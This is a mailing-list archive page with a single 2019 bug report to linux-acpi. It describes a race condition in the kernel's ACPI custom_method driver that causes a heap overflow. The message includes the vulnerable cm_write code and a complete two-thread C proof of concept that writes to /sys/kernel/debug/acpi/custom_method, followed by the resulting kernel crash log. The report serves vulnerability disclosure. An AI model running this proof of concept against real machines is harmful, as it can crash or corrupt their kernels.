* Linux acpi custom_method driver security bug report!
@ 2019-09-23 11:39 y0ubat
0 siblings, 0 replies; only message in thread
From: y0ubat @ 2019-09-23 11:39 UTC (permalink / raw)
To: linux-acpi
Hi,
I found linux kernel bug. so report this!
I want to get credit(CVE)
I look forward to your reply.
Linux custom_mehtod driver race condition to heap overflow
https://android.googlesource.com/kernel/common/+/refs/heads/android-4.14-p/drivers/acpi/custom_method.c
https://github.com/torvalds/linux/blob/master/drivers/acpi/custom_method.c
The cm_write function in custom_method.c has a race condition vulnerability.
static ssize_t cm_write(struct file *file, const char __user * user_buf,
size_t count, loff_t *ppos)
{
static char *buf;
static u32 max_size;
static u32 uncopied_bytes;
….
….
}
This static local variable is used, but no mutex lock is used. So race
condition occurs.
A race condition can cause a heap overflow.
/* /sys/kernel/debug/acpi/custom_method */
static ssize_t cm_write(struct file *file, const char __user * user_buf,
size_t count, loff_t *ppos)
{
static char *buf;
static u32 max_size;
static u32 uncopied_bytes;
struct acpi_table_header table;
acpi_status status;
if (!(*ppos)) {
/* parse the table header to get the table length */
if (count <= sizeof(struct acpi_table_header))
return -EINVAL;
if (copy_from_user(&table, user_buf,
sizeof(struct
acpi_table_header)))
return -EFAULT;
uncopied_bytes = max_size = table.length;
// controll max_size.
buf = kzalloc(max_size, GFP_KERNEL);
if (!buf)
return -ENOMEM;
}
if (buf == NULL)
return -EINVAL;
if ((*ppos > max_size) ||
(*ppos + count > max_size) ||
(*ppos + count < count) ||
(count > uncopied_bytes))
return -EINVAL;
if (copy_from_user(buf + (*ppos), user_buf, count)) { //
heap overflow
kfree(buf);
buf = NULL;
return -EFAULT;
}
uncopied_bytes -= count;
*ppos += count;
if (!uncopied_bytes) {
status = acpi_install_method(buf);
kfree(buf);
buf = NULL;
if (ACPI_FAILURE(status))
return -EINVAL;
add_taint(TAINT_OVERRIDDEN_ACPI_TABLE,
LOCKDEP_NOW_UNRELIABLE);
}
return count;
}.
if (copy_from_user(&table, user_buf,
sizeof(struct
acpi_table_header)))
return -EFAULT;
uncopied_bytes = max_size = table.length;
// controll max_size.
buf = kzalloc(max_size, GFP_KERNEL);
…
…
…
if (copy_from_user(buf + (*ppos), user_buf, count)) { //
heap overflow
First, in thread 1, max_size is set to 0x1000 and kzalloc is allocated
to 0x1000. and Copy user input to copy_from_user in the allocated heap
space. Just before copying from copy_from_user, we assign 0x100 to
kzalloc for buf on thread 2. Then, thread 1 copies 0x1000 to the
reallocated 0x100 heap space, causing a heap overflow.
This is My POC Code.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/ioctl.h>
typedef unsigned int u32;
typedef unsigned char u8;
int fd, fd2;
#define ACPI_NAME_SIZE 4
#define ACPI_OEM_ID_SIZE 6
#define ACPI_OEM_TABLE_ID_SIZE 8
struct acpi_table_header {
char signature[ACPI_NAME_SIZE]; /* ASCII table
signature */
u32 length; /* Length of table in bytes,
including this header */
u8 revision; /* ACPI Specification minor
version number */
u8 checksum; /* To make sum of
entire table == 0 */
char oem_id[ACPI_OEM_ID_SIZE]; /* ASCII OEM
identification */
char oem_table_id[ACPI_OEM_TABLE_ID_SIZE]; /*
ASCII OEM table identification */
u32 oem_revision; /* OEM revision number */
char asl_compiler_id[ACPI_NAME_SIZE]; /* ASCII
ASL compiler vendor ID */
u32 asl_compiler_revision; /* ASL compiler version */
char buf[0x10000];
} ;
void *thread1(void *arg) {
struct acpi_table_header abc;
memset(&abc, 0, sizeof(abc));
while(1) {
abc.length = 0x100;
write(fd, &abc, 0x10000);
}
}
void *thread2(void *arg) {
struct acpi_table_header abc;
memset(&abc, 0, sizeof(abc));
while(1) {
abc.length = 0x10000;
write(fd2, &abc, 0x10000);
}
}
int main(int argc, char *argv[])
{
fd = open("/sys/kernel/debug/acpi/custom_method", O_WRONLY);
fd2 = open("/sys/kernel/debug/acpi/custom_method", O_WRONLY);
pthread_t tid;
pthread_create(&tid, NULL, thread1, NULL);
pthread_create(&tid, NULL, thread2, NULL);
getchar();
return 0;
}
[ 817.068780][ T5809] usercopy: Kernel memory overwrite attempt
detected to SLAB object 'kmalloc-256' (offset 0, size 65536)!
[ 817.069671][ T5809] ------------[ cut here ]------------
[ 817.069998][ T5809] kernel BUG at mm/usercopy.c:98!
[ 817.070304][ T5809] invalid opcode: 0000 [#1] PREEMPT SMP KASAN
[ 817.070665][ T5809] CPU: 3 PID: 5809 Comm: custom_method_p Not
tainted 5.3.0-rc8+ #4
[ 817.071151][ T5809] Hardware name: QEMU Standard PC (i440FX + PIIX,
1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[ 817.071772][ T5809] RIP: 0010:usercopy_abort+0xae/0xd0
[ 817.072083][ T5809] Code: 38 08 c4 ff 48 8b 45 c0 4d 89 e9 48 89 d9
4c 8b 45 c8 41 57 4c 89 e6 48 c7 c7 e0 3b 35 87 48 8b 55 d0 41 56 50
e8 16 56 af ff <0f> 0b 49 c7 c5 80 39 35 87 4c 89 e8 4d 89 e8 e9 76 ff
ff ff 0f 1f
[ 817.073260][ T5809] RSP: 0018:ffff888118fa7bf0 EFLAGS: 00010286
[ 817.073653][ T5809] RAX: 0000000000000067 RBX: ffffffff8815ee9f
RCX: ffffffff815726b8
[ 817.074152][ T5809] RDX: 0000000000000000 RSI: 0000000000000008
RDI: ffffffff89fca180
[ 817.074638][ T5809] RBP: ffff888118fa7c48 R08: ffffed102351e0d1
R09: ffffed102351e0d1
[ 817.075144][ T5809] R10: 0000000000000180 R11: ffffed102351e0d0
R12: ffffffff87353a40
[ 817.075611][ T5809] R13: ffffffff8815c4b5 R14: 0000000000000000
R15: 0000000000010000
[ 817.076078][ T5809] FS: 00007f5ae2831700(0000)
GS:ffff88811a8c0000(0000) knlGS:0000000000000000
[ 817.076605][ T5809] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 817.076991][ T5809] CR2: 00007f5ae282f000 CR3: 0000000100bf6000
CR4: 00000000000006e0
[ 817.077502][ T5809] DR0: 0000000000000000 DR1: 0000000000000000
DR2: 0000000000000000
[ 817.077968][ T5809] DR3: 0000000000000000 DR6: 00000000fffe0ff0
DR7: 0000000000000400
kernel panic log!
^ permalink raw reply [flat|nested] only message in thread
only message in thread, other threads:[~2019-09-23 11:40 UTC | newest]
Thread overview: (only message) (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2019-09-23 11:39 Linux acpi custom_method driver security bug report! y0ubat
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).